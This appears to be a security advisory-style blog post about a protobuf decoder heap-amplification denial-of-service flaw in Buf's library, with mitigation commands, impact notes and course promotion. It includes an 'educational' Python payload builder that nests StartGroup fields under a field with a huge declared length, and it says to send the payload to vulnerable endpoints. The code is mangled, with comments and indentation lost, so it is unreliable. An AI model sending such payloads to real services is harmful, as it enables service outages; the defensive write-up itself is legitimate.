Listen to this Post
The vulnerability resides in the `decode_unknown_field` function of Buf’s protobuf decoder, which handles unknown fields when `preserve_unknown_fields=true` (the default setting in generated code). When processing untrusted serialized protobuf messages, the decoder allocates heap memory directly proportional to the size and structure of unknown field data, but without any per‑message allocation budget or amplification cap. This creates a dangerous discrepancy between the input size and the memory consumed during decoding.
A specifically crafted payload can exploit two primary amplification vectors. First, nested unknown fields placed inside a `StartGroup` wire type trigger a recursive unpacking behavior that yields roughly 22× memory amplification – for instance, a 64 MiB input can force up to 1.4 GiB of heap allocations. Second, length‑delimited unknown fields can specify arbitrarily large sizes, allowing an attacker to force the decoder to allocate exactly that requested size, independent of the actual message length. Both vectors are reachable through the default decode APIs because the existing top‑level message size cap (e.g., DEFAULT_MAX_MESSAGE_SIZE) only limits the raw wire bytes, not the internal expansion during unknown‑field processing.
For ConnectRPC users, the default max message size is 4 MiB, which bounds the worst‑case amplification to roughly 88 MiB per single request – still manageable for a single request, but a flood of concurrent crafted requests can collectively exhaust available heap memory and lead to process termination. The issue affects all services that decode untrusted protobuf input using generated code with the default `preserve_unknown_fields` flag, making it a wide‑reach denial‑of‑service vector. The root cause is the absence of a per‑message unknown‑field counter or a total allocation budget during decoding. The maintainers addressed this by introducing a configurable limit on the number of unknown fields per message (default 1,000,000 fields, translating to ~40 MiB overhead). Users are strongly advised to either disable preservation of unknown fields (set preserve_unknown_fields=false) or upgrade to version 0.8.0 or later, which enforces this new limit. The issue was responsibly disclosed by @p80n‑sec.
DailyCVE Form:
Platform: Buf protobuf
Version: < 0.8.0
Vulnerability: Heap amplification
Severity: High
date: Not disclosed
Prediction: Already patched
What Undercode Say:
Check current protobuf version in your project
buf --version
Generate code without preserving unknown fields (immediate mitigation)
protoc --experimental_allow_proto3_optional --go_out=. --go_opt=paths=source_relative \
--go_opt=preserve_unknown_fields=false your_proto.proto
Alternatively, enforce the new limit in 0.8.0 by configuring decoder options
In Go (bufbuild/connect-go):
import "google.golang.org/protobuf/proto"
opts := proto.UnmarshalOptions{
AllowPartial: true,
DiscardUnknown: true, // equivalent to preserve_unknown_fields=false
}
Or set MaxUnknownFields in the new API (0.8.0+)
// Monitor memory allocation during decode (educational snippet)
package main
import (
"runtime"
"google.golang.org/protobuf/proto"
// assume your generated message type
)
func decodeWithMemoryCheck(data []byte) {
var m MyMessage
var memBefore, memAfter runtime.MemStats
runtime.ReadMemStats(&memBefore)
_ = proto.Unmarshal(data, &m)
runtime.ReadMemStats(&memAfter)
allocated := memAfter.HeapAlloc - memBefore.HeapAlloc
println("Heap allocated:", allocated)
}
Exploit: (Educational Purposes!)
Craft a malicious protobuf payload with nested StartGroup and length-delimited unknown fields
Wire types: 0=varint, 1=64-bit, 2=length-delim, 3=start group, 4=end group
import struct
def build_amplification_payload(base_size=1024):
Build a length-delimited field with a huge declared size (e.g., 1<<30)
Field number 1, wire type 2
header = (1 << 3) | 2 field 1, type length-delim
Encode varint for header and length
Simulate nested groups: start group (type 3) inside the length-delimited field
payload = b''
Outer length-delimited with declared length of 1GB (0x40000000)
outer_len = 0x40000000
payload += encode_varint(header)
payload += encode_varint(outer_len)
Inside, insert a StartGroup (field 2, type 3) nested multiple times
group_header = (2 << 3) | 3 start group
for _ in range(10000): nesting depth
payload += encode_varint(group_header)
add small dummy data to trigger recursion
payload += b'\x08\x01' small varint
close groups with end group (type 4) - omitted for brevity, but actual exploit does it
return payload
def encode_varint(val):
out = []
while val > 0x7f:
out.append((val & 0x7f) | 0x80)
val >>= 7
out.append(val)
return bytes(out)
Send this payload to a vulnerable protobuf endpoint
print("Generated malicious payload (truncated):", build_amplification_payload()[:100])
Protection: from this CVE
- Set `preserve_unknown_fields=false` in your protoc generation options or use `DiscardUnknown=true` in unmarshal options.
- Upgrade to Buf protobuf v0.8.0 or later, which enforces a default limit of 1,000,000 unknown fields per message (~40 MiB overhead).
- If using ConnectRPC, reduce the `DEFAULT_MAX_MESSAGE_SIZE` below 4 MiB to further limit amplification per request.
- Implement application‑level memory limits and rate‑limiting on concurrent decode requests to prevent flood attacks.
Impact:
- Unauthenticated remote attackers can crash a service process via memory exhaustion (OOM) by sending small, crafted protobuf messages.
- A single 64 MiB payload can force up to 1.4 GiB of heap allocation, and arbitrary‑sized length‑delimited fields can cause even larger allocations.
- In production environments with high concurrency, an attacker can easily overwhelm available memory, leading to denial of service and potential cascading failures across dependent services.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

